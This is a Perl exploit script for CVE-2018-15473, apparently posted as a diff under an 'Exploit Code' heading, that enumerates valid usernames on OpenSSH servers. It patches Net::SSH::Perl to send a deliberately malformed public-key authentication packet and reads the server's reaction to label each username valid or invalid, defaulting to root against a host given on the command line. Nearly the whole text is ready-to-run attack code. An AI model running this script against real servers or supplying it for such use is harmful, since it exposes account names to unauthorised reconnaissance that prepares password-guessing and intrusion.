Exploit Code

CVE-2018-15473.pl

@@ -0,0 +1,103 @@
+#!/usr/bin/perl
+=cut
+    title: OpenSSH User Enumeration (CVE-2018-15473) 
+    ref: [https://isc.sans.edu/diary/24004 , https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/]
+    author: paypin
+
+    https://www.ietf.org/rfc/rfc4252.txt
+    https://www.ietf.org/rfc/rfc4253.txt
+
+
+
+=cut
+
+
+use Net::SSH::Perl::Key;
+use Net::SSH::Perl::Packet;
+use Net::SSH::Perl::Auth::PublicKey; # <- Target
+use Net::SSH::Perl::Buffer;
+use Net::SSH::Perl;
+use Net::SSH::Perl::Constants qw(
+    SSH2_MSG_SERVICE_REQUEST
+    SSH2_MSG_SERVICE_ACCEPT
+    SSH2_MSG_EXT_INFO
+    SSH2_MSG_USERAUTH_BANNER
+    SSH2_MSG_USERAUTH_REQUEST
+    SSH2_MSG_USERAUTH_SUCCESS
+    SSH2_MSG_USERAUTH_FAILURE );
+
+
+my $user = shift || 'root';
+my $host = shift || usage();
+
+my $key = Net::SSH::Perl::Key->keygen('RSA', '2048');
+$key->write_private('./rsa_pub'); 
+@KEYFILE = ("./rsa_pub");
+
+my $ssh = Net::SSH::Perl->new(
+        $host,
+        user => $user,
+        debug=>0,
+        protocol => '2',
+        identity_files=>\@KEYFILE
+    );
+
+$ssh->login;
+
+
+sub usage(){
+    print "\nUsage: \perl $0 <username> <host>\n" and exit;
+}
+
+# Perform a malformated packed
+sub Net::SSH::Perl::Auth::PublicKey::_sign_send_pubkey  {
+ my $auth = shift;
+    my($key, $cb) = @_;
+    my $ssh = $auth->{ssh};
+    my($packet);
+
+    my $b = Net::SSH::Perl::Buffer->new( MP => 'SSH2' );
+    if ($ssh->{datafellows} & SSH_COMPAT_OLD_SESSIONID) {
+        $b->append($ssh->session_id);
+    }
+    else {
+        $b->put_str($ssh->session_id);
+    }
+    $b->put_int8(SSH2_MSG_USERAUTH_REQUEST);
+    my $skip = $b->length;
+
+    $b->put_str($ssh->config->get('user'));
+    $b->put_str("ssh-connection");
+    $b->put_str("publickey");
+    $b->put_int8(1);
+    $b->put_str( $key->ssh_name );
+    $b->put_str( $key->as_blob );
+
+    my $sigblob = $cb->($auth, $key, $b->bytes);
+    $ssh->debug("Signature generation failed for public key."), return
+        unless $sigblob;
+    $b->put_str($sigblob);
+
+    $b->bytes(0, $skip, '');  
+    $packet = $ssh->packet_start(SSH2_MSG_USERAUTH_REQUEST);
+    $packet->append($b->bytes);
+
+    # Malformated packet
+    my $fatal_crash = Net::SSH::Perl::Buffer->new;
+    $fatal_crash->put_int32(10932930);
+    $packet->append($fatal_crash);
+
+    $packet->append($fatal_crash);
+    $packet->send;
+
+    return 1;
+}
+
+# Hooking output
+sub Net::SSH::Perl::Packet::croak {
+   if(@_[1] =~ m/Packet integrity error/){
+       print "[+] $user => Valid User\n";
+   }else {print "[-] $user => Invalid User\n"; }
+   exit();
+
+}